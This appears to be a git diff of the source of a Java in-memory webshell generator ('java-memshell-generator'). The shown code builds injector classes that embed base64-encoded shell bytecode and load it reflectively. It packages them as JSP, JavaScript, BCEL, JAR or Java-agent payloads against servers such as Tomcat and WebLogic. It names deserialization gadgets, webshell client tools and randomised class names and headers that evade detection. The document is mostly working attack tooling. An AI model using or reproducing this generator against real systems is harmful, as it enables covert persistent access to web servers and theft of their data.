<dependencies>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-web -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>5.3.29</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-webflux -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webflux</artifactId>
<version>5.3.29</version>
</dependency>
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
<version>5.0.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.58</version>
<exclusions>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-juli</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jni</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-coyote</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-util</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-util-scan</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-annotations-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jsp-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-servlet-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jaspic-api</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,436 @@
package jmg.core.config;
import jmg.core.util.ClassNameUtil;
import jmg.core.util.CommonUtil;
import jmg.core.util.RandomHttpHeaderUtil;
import java.util.HashMap;
import java.util.Map;
public class AbstractConfig {
private String injectorClassName;
public String getInjectorClassName() {
return injectorClassName;
}
public void setInjectorClassName(String injectorClassName) {
this.injectorClassName = injectorClassName;
}
private boolean implementsASTTransformationType = false;
private boolean implementsScriptEngineFactory = false;
public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
this.implementsASTTransformationType = implementsASTTransformationType;
}
public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
this.implementsScriptEngineFactory = implementsScriptEngineFactory;
}
public boolean isImplementsASTTransformationType() {
return implementsASTTransformationType;
}
public boolean isImplementsScriptEngineFactory() {
return implementsScriptEngineFactory;
}
private String injectorSimpleClassName;
public String getInjectorSimpleClassName() {
return injectorSimpleClassName;
}
public void setInjectorSimpleClassName(String injectorSimpleClassName) {
this.injectorSimpleClassName = injectorSimpleClassName;
}
private byte[] injectorBytes;
public byte[] getInjectorBytes() {
return injectorBytes;
}
public void setInjectorBytes(byte[] injectorBytes) {
this.injectorBytes = injectorBytes;
}
private int injectorBytesLength;
public int getInjectorBytesLength() {
return injectorBytesLength;
}
public void setInjectorBytesLength(int injectorBytesLength) {
this.injectorBytesLength = injectorBytesLength;
}
private String shellClassName;
public String getShellClassName() {
return shellClassName;
}
public void setShellClassName(String className) {
this.shellClassName = className;
}
private String shellSimpleClassName;
public String getShellSimpleClassName() {
return shellSimpleClassName;
}
public void setShellSimpleClassName(String shellSimpleClassName) {
this.shellSimpleClassName = shellSimpleClassName;
}
private byte[] shellBytes;
public byte[] getShellBytes() {
return shellBytes;
}
public void setShellBytes(byte[] shellBytes) {
this.shellBytes = shellBytes;
}
private int shellBytesLength;
public int getShellBytesLength() {
return shellBytesLength;
}
public void setShellBytesLength(int shellBytesLength) {
this.shellBytesLength = shellBytesLength;
}
public String getShellGzipBase64String() {
return shellGzipBase64String;
}
public void setShellGzipBase64String(String shellGzipBase64String) {
this.shellGzipBase64String = shellGzipBase64String;
}
public String shellGzipBase64String;
public boolean isEnableBypassJDKModule() {
return enableBypassJDKModule;
}
public void setEnableBypassJDKModule(boolean enableBypassJDKModule) {
this.enableBypassJDKModule = enableBypassJDKModule;
}
private boolean enableBypassJDKModule;
public boolean isEnableDebug() {
return enableDebug;
}
public void setEnableDebug(boolean enableDebug) {
this.enableDebug = enableDebug;
}
private boolean enableDebug = false;
private String urlPattern;
private String outputFormat;
private String savePath;
private String pass;
private String key;
private String serverType;
private String shellType;
private String headerName;
private String headerValue;
private String methodBody;
private String gadgetType;
public String getUrlPattern() {
return urlPattern;
}
public void setUrlPattern(String urlPattern) {
this.urlPattern = urlPattern;
}
public String getOutputFormat() {
return outputFormat;
}
public void setOutputFormat(String outputFormat) {
this.outputFormat = outputFormat;
}
public String getSavePath() {
return savePath;
}
public void setSavePath(String savePath) {
this.savePath = savePath;
}
public String getPass() {
return pass;
}
public void setPass(String pass) {
this.pass = pass;
}
public String getKey() {
return key;
}
public void setKey(String key) {
this.key = key;
}
public String getServerType() {
return serverType;
}
public void setServerType(String serverType) {
this.serverType = serverType;
}
public String getShellType() {
return shellType;
}
public void setShellType(String shellType) {
this.shellType = shellType;
}
public String getToolType() {
return toolType;
}
public void setToolType(String toolType) {
this.toolType = toolType;
}
public String toolType;
public String getHeaderName() {
return headerName;
}
public void setHeaderName(String headerName) {
this.headerName = headerName;
}
public String getHeaderValue() {
return headerValue;
}
public void setHeaderValue(String headerValue) {
this.headerValue = headerValue;
}
public String getGadgetType() {
return gadgetType;
}
public void setGadgetType(String gadgetType) {
this.gadgetType = gadgetType;
}
public Map getMessage() {
return result;
}
public void setMessage(Map message) {
this.result = message;
}
private Map result = new HashMap();
public String getExprEncoder() {
return exprEncoder;
}
public void setExprEncoder(String exprEncoder) {
this.exprEncoder = exprEncoder;
}
private String exprEncoder;
public String getExtenderSimpleClassName() {
return extenderSimpleClassName;
}
private String extenderSimpleClassName;
public String getLoaderClassName() {
return loaderClassName;
}
public void setLoaderClassName(String loaderClassName) {
this.loaderClassName = loaderClassName;
}
public String loaderClassName;
private String classFilePath;
public String getClassFilePath() {
return classFilePath;
}
public void setClassFilePath(String classFilePath) {
this.classFilePath = classFilePath;
}
public byte[] getExtenderBytes() {
return extenderBytes;
}
public void setExtenderBytes(byte[] extenderBytes) {
this.extenderBytes = extenderBytes;
}
private int extenderBytesLength;
private String extenderClassName;
private byte[] extenderBytes;
private String detectWay;
public String getDetectWay() {
return detectWay;
}
public void setDetectWay(String detectWay) {
this.detectWay = detectWay;
}
private boolean enabledExtender = false;
public boolean isEnabledExtender() {
return enabledExtender;
}
public void setEnabledExtender(boolean enabledExtender) {
this.enabledExtender = enabledExtender;
}
public int getExtenderBytesLength() {
return extenderBytesLength;
}
public void setExtenderBytesLength(int extenderBytesLength) {
this.extenderBytesLength = extenderBytesLength;
}
public String getExtenderClassName() {
return extenderClassName;
}
public void setExtenderClassName(String extenderClassName) {
this.extenderClassName = extenderClassName;
}
private String dnsDomain;
public String getDnsDomain() {
return dnsDomain;
}
public void setDnsDomain(String dnsDomain) {
this.dnsDomain = dnsDomain;
}
public String getBaseUrl() {
return baseUrl;
}
public void setBaseUrl(String baseUrl) {
this.baseUrl = baseUrl;
}
public String baseUrl;
public String getSleepTime() {
return sleepTime;
}
public void setSleepTime(String sleepTime) {
this.sleepTime = sleepTime;
}
public String sleepTime;
public void setExtenderSimpleClassName(String extenderSimpleClassName) {
this.extenderSimpleClassName = extenderSimpleClassName;
}
public String getJarClassName() {
return this.jarClassName;
}
public void setJarClassName(String jarClassName) {
this.jarClassName = jarClassName;
}
private String jarClassName;
public void build() {
// 检查 serverType、modelType、formatType 是否已设置
if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) {
throw new IllegalStateException("toolType、serverType、shellType 、formatType and gadgetType must be set.");
}
// 无自定义则随机生成
Map.Entry<String, String> header = RandomHttpHeaderUtil.generateHeader();
if (this.getHeaderName() == null) this.setHeaderName(header.getKey());
if (this.getHeaderValue() == null) this.setHeaderValue(header.getValue());
if (this.getUrlPattern() == null) this.setUrlPattern("/*");
if (this.getSavePath() == null) this.setSavePath(System.getProperty("user.dir"));
if (this.getInjectorClassName() == null)
this.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName());
if (this.getInjectorSimpleClassName() == null)
this.setInjectorSimpleClassName(CommonUtil.getSimpleName(this.getInjectorClassName()));
if (this.getShellClassName() == null)
this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType()));
if (this.getShellSimpleClassName() == null)
this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName()));
if (this.getOutputFormat().contains(Constants.FORMAT_BCEL))
this.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath()));
}
}
@@ -0,0 +1,75 @@
package jmg.core.config;
public class Constants {
public static final String JMG_VERSION = "1.0.8_240914";
public static final String JMG_NAME = "java-memshell-generator";
public static final String JMG_DESCRIPTION = "Java 内存马生成器";
public static final String JMG_AUTHOR = "pen4uin";
public static final String SERVER_TOMCAT = "Tomcat";
public static final String SERVER_SPRING_MVC = "SpringMVC";
public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
public static final String SERVER_JETTY = "Jetty";
public static final String SERVER_RESIN = "Resin";
public static final String SERVER_WEBLOGIC = "WebLogic";
public static final String SERVER_WEBSPHERE = "WebSphere";
public static final String SERVER_UNDERTOW = "Undertow";
public static final String SERVER_GLASSFISH = "GlassFish";
public static final String SERVER_JBOSS = "JBoss";
public static final String SHELL_LISTENER = "Listener";
public static final String SHELL_FILTER = "Filter";
public static final String SHELL_JAKARTA_LISTENER = "JakartaListener";
public static final String SHELL_JAKARTA_FILTER = "JakartaFilter";
public static final String SHELL_VALVE = "Valve";
public static final String SHELL_INTERCEPTOR = "Interceptor";
public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
public static final String FORMAT_CLASS = "CLASS";
public static final String FORMAT_BCEL = "BCEL";
public static final String FORMAT_JSP = "JSP";
public static final String FORMAT_JAR = "JAR";
public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
public static final String FORMAT_JS = "JS";
public static final String FORMAT_BASE64 = "BASE64";
public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
public static final String GADGET_SNAKEYAML = "SnakeYaml";
public static final String GADGET_NONE = "NONE";
public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
public static final String TOOL_ANTSWORD = "AntSword";
public static final String TOOL_BEHINDER = "Behinder";
public static final String TOOL_GODZILLA = "Godzilla";
public static final String TOOL_CUSTOM = "Custom";
public static final String TOOL_NEOREGEORG = "Neo-reGeorg";
public static final String TOOL_SUO5 = "Suo5";
public static final String EXPR_EL = "EL";
public static final String EXPR_SPEL = "SpEL";
public static final String EXPR_OGNL = "OGNL";
public static final String EXPR_FREEMARKER = "FreeMarker";
public static final String EXPR_VELOCITY = "Velocity";
public static final String EXPR_JS = "ScriptEngineManager(JS)";
public static final String DETECT_DNS = "DNSLog";
public static final String DETECT_HTTP = "HTTPLog";
public static final String DETECT_SLEEP = "Sleep";
public static final String DETECT_DFSECHO = "DFSEcho";
}
+15
View File
@@ -0,0 +1,15 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.IOException;
import java.util.Base64;
public class BASE64Formater implements IFormater {
@Override
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
Base64.Encoder base64Encoder = Base64.getEncoder();
return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
}
}
+16
View File
@@ -0,0 +1,16 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import me.gv7.woodpecker.bcel.HackBCELs;
import java.io.IOException;
public class BCELFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
// 解决 BCEL 的classloader 的问题
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
return HackBCELs.encode(bcelClzBytes).getBytes();
}
}
@@ -0,0 +1,53 @@
package jmg.core.format;
import java.lang.reflect.Method;
public class BCELoader {
static {
new BCELoader();
}
private String getClassName() {
return "";
}
private String getBase64String() {
return "";
}
public BCELoader() {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] clazzBytes = decodeFromBase64(getBase64String());
Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
clazz.newInstance();
} catch (Exception ee) {
}
}
}
public static byte[] decodeFromBase64(String input) {
byte[] var2 = null;
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
} catch (Exception var6) {
try {
var1 = Class.forName("sun.misc.BASE64Decoder");
Object var4 = var1.newInstance();
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
} catch (Exception var5) {
}
}
return var2;
}
}
@@ -0,0 +1,77 @@
package jmg.core.format;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import jmg.core.config.AbstractConfig;
import jmg.core.util.JavassistUtil;
public class BCELoaderGenerator {
public static byte[] generatorBCELoaderClass(AbstractConfig config) {
try {
ClassPool pool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(BCELoader.class);
pool.insertClassPath(classPath);
CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
ctClass.setName(config.getLoaderClassName());
ctClass.getClassFile().setVersionToJava5();
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
String[] parts = splitChunks(base64ClassString, 40000);
StringBuilder result = new StringBuilder();
for (int i = 0; i < parts.length; i++) {
if (i > 0) result.append("+");
result.append("new String(\"" + parts[i] + "\")");
}
getBase64String.setBody(String.format("{return %s;}", result));
ctClass.defrost();
JavassistUtil.removeSourceFileAttribute(ctClass);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
private static String encodeToBase64(byte[] input) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
} catch (Exception var5) {
}
}
return value;
}
private static String[] splitChunks(String source, int CHUNK_SIZE) {
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
char[] payload = source.toCharArray();
int start = 0;
for (int i = 0; i < ret.length; i++) {
if (start + CHUNK_SIZE > payload.length) {
char[] b = new char[payload.length - start];
System.arraycopy(payload, start, b, 0, payload.length - start);
ret[i] = new String(b);
} else {
char[] b = new char[CHUNK_SIZE];
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
ret[i] = new String(b);
}
start += CHUNK_SIZE;
}
return ret;
}
}
@@ -0,0 +1,14 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.IOException;
import java.math.BigInteger;
public class BigIntegerFormater implements IFormater {
@Override
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
return new BigInteger(clazzbyte).toString(36).getBytes();
}
}
+10
View File
@@ -0,0 +1,10 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.IOException;
public interface IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
}
@@ -0,0 +1,102 @@
package jmg.core.format;
import javassist.ClassPool;
import javassist.CtClass;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.template.SpringMVCAgentTransformer;
import jmg.core.template.TomcatAgentTransformer;
import jmg.core.util.CommonUtil;
import jmg.core.util.JavassistUtil;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
// todo: 其他中间件
public class JARAgentFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
String className = TomcatAgentTransformer.class.getName();
String simpleName = TomcatAgentTransformer.class.getSimpleName();
if (config.getServerType().equals(Constants.SERVER_TOMCAT)) {
className = TomcatAgentTransformer.class.getName();
simpleName = TomcatAgentTransformer.class.getSimpleName();
} else if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)) {
className = SpringMVCAgentTransformer.class.getName();
simpleName = SpringMVCAgentTransformer.class.getSimpleName();
} else {
throw new RuntimeException(String.format("Java Agent 暂时只支持 %s、%s",Constants.SERVER_TOMCAT,Constants.SERVER_SPRING_MVC));
}
String classFileName = simpleName.replace('.', '/') + ".class";
ClassPool pool = ClassPool.getDefault();
// Note: jar 包中的文件不能通过文件路径读取,需要通过流读取
// File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
File jarFile = File.createTempFile("jmg-agent", ".jar");
try (FileOutputStream out = new FileOutputStream(jarFile)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = jarStream.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
}
Manifest manifest = createManifest(simpleName);
File tempJarFile = File.createTempFile("tempJar", ".jar");
try (JarFile jar = new JarFile(jarFile);
JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
copyJarEntries(jar, tempJar);
addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(), CommonUtil.encodeBase64(clazzbyte));
} catch (Exception e) {
e.printStackTrace();
}
return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
}
private Manifest createManifest(String simpleName) {
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
manifest.getMainAttributes().putValue("Agent-Class", simpleName);
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
manifest.getMainAttributes().putValue("Main-Class", simpleName);
return manifest;
}
private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
Enumeration<JarEntry> jarEntries = jar.entries();
while (jarEntries.hasMoreElements()) {
JarEntry entry = jarEntries.nextElement();
try (InputStream entryInputStream = jar.getInputStream(entry)) {
tempJar.putNextEntry(entry);
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = entryInputStream.read(buffer)) != -1) {
tempJar.write(buffer, 0, bytesRead);
}
}
}
}
private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar, String injectFlag, String injectorCode) throws Exception {
CtClass ctClass = pool.get(className);
ctClass.getClassFile().setVersionToJava5();
ctClass.setName(simpleName);
JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
tempJar.putNextEntry(new JarEntry(classFileName));
tempJar.write(ctClass.toBytecode());
ctClass.detach();
}
}
+47
View File
@@ -0,0 +1,47 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
public class JARFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
String className = config.getInjectorClassName();
String jarEntryFileName = className.replace(".", "/") + ".class";
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
jarOutputStream.write(clazzbyte);
jarOutputStream.closeEntry();
// fastjson + groovy 的利用
if (config.isImplementsASTTransformationType()) {
String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
JarEntry entry = new JarEntry(entryName);
jarOutputStream.putNextEntry(entry);
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
jarOutputStream.closeEntry();
}
// snakeyaml + loadJar 的利用
if (config.isImplementsScriptEngineFactory()) {
String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
JarEntry entry = new JarEntry(entryName);
jarOutputStream.putNextEntry(entry);
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
jarOutputStream.closeEntry();
}
}
return out.toByteArray();
}
}
+35
View File
@@ -0,0 +1,35 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
import java.io.IOException;
public class JSPFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
String strJSP = "<%\n" +
" ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
" try{\n" +
" classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
" }catch (Exception e){\n" +
" java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
" defineClass.setAccessible(true);\n" +
" String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
" byte[] bytecode = null;\n" +
" try {\n" +
" Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
" Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
" Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
" bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
" } catch (ClassNotFoundException ee) {\n" +
" Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
" bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
" }\n" +
" Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
" clazz.newInstance();\n" +
" }\n" +
"%>";
return strJSP.getBytes();
}
}
@@ -0,0 +1,36 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
import java.io.IOException;
public class JavaScriptFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
"}catch (e){\n" +
" var clsString = classLoader.loadClass('java.lang.String');\n" +
" var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
" var bytecode;\n" +
" try{\n" +
" var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
" var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
" var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
" bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
" } catch (ee) {\n" +
" var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
" bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
" }\n" +
" var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
" var clsByteArray = classLoader.loadClass('[B');\n" +
" var clsInt = java.lang.Integer.TYPE;\n" +
" var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
" defineClass.setAccessible(true);\n" +
" var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
" clazz.newInstance();\n" +
"}";
return strJS.getBytes();
}
}
@@ -0,0 +1,14 @@
package jmg.core.generator;
import javassist.ClassPool;
import jmg.core.config.AbstractConfig;
public interface IShellGenerator {
ClassPool pool = ClassPool.getDefault();
void initShell(AbstractConfig config);
byte[] makeShell(AbstractConfig config) throws Exception;
byte[] modifyShell(String className, AbstractConfig config);
}
@@ -0,0 +1,103 @@
package jmg.core.generator;
import javassist.*;
import javassist.bytecode.AccessFlag;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.util.*;
/**
* 注入器生成
*/
public class InjectorGenerator {
public byte[] makeInjector(AbstractConfig config) throws Exception {
String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
byte[] bytes = UtilPlus.generate(injectorClassName, config);
config.setInjectorBytes(bytes);
config.setInjectorBytesLength(bytes.length);
return bytes;
}
public static class UtilPlus {
@SuppressWarnings("unchecked")
private final static ClassPool pool = ClassPool.getDefault();
public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
CtClass ctClass = pool.getCtClass(injectorTplClassName);
ctClass.getClassFile().setVersionToJava5();
String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
String urlPattern = config.getUrlPattern();
String shellClassName = config.getShellClassName();
if (base64ShellString != null) {
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
StringBuilder result = new StringBuilder();
for (int i = 0; i < parts.length; i++) {
if (i > 0)
result.append("+");
result.append("new String(\"" + parts[i] + "\")");
}
getBase64String.setBody(String.format("{return %s;}", result));
}
if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
}
if (shellClassName != null) {
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
}
if (config.isEnableBypassJDKModule()) {
// 添加 bypassJDKModule 方法
CtMethod ctMethod = new CtMethod(CtClass.voidType, "bypassJDKModule", new CtClass[0], ctClass);
ctMethod.setModifiers(AccessFlag.PUBLIC);
ctMethod.setBody(JDKBypassUtil.bypassJDKModuleBody());
ctClass.addMethod(ctMethod);
// 添加 bypassJDKModule 调用
CtConstructor constructor = ctClass.getConstructors()[0];
constructor.setModifiers(javassist.Modifier.setPublic(constructor.getModifiers()));
constructor.insertBeforeBody("bypassJDKModule();");
}
JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
JavassistUtil.removeSourceFileAttribute(ctClass);
byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
ctClass.detach();
return bytes;
}
private static String[] splitChunks(String source, int CHUNK_SIZE) {
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
char[] payload = source.toCharArray();
int start = 0;
for (int i = 0; i < ret.length; i++) {
if (start + CHUNK_SIZE > payload.length) {
char[] b = new char[payload.length - start];
System.arraycopy(payload, start, b, 0, payload.length - start);
ret[i] = new String(b);
} else {
char[] b = new char[CHUNK_SIZE];
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
ret[i] = new String(b);
}
start += CHUNK_SIZE;
}
return ret;
}
}
}
@@ -0,0 +1,56 @@
package jmg.core;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.format.*;
public class jMGCodeApi {
AbstractConfig config;
public jMGCodeApi(AbstractConfig config) {
this.config = config;
}
public byte[] generate() throws Throwable {
byte[] clazzBytes;
if (config.isEnabledExtender()) {
clazzBytes = config.getExtenderBytes();
} else {
clazzBytes = config.getInjectorBytes();
}
if (clazzBytes == null) {
return null;
}
// 格式转换
byte[] bytes = null;
switch (config.getOutputFormat()) {
case Constants.FORMAT_BCEL:
bytes = new BCELFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JSP:
bytes = new JSPFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JAR:
bytes = new JARFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JAR_AGENT:
bytes = new JARAgentFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JS:
bytes = new JavaScriptFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_BASE64:
bytes = new BASE64Formater().transform(clazzBytes, config);
break;
case Constants.FORMAT_BIGINTEGER:
bytes = new BigIntegerFormater().transform(clazzBytes, config);
break;
default:
bytes = clazzBytes;
break;
}
return bytes;
}
}
@@ -0,0 +1,208 @@
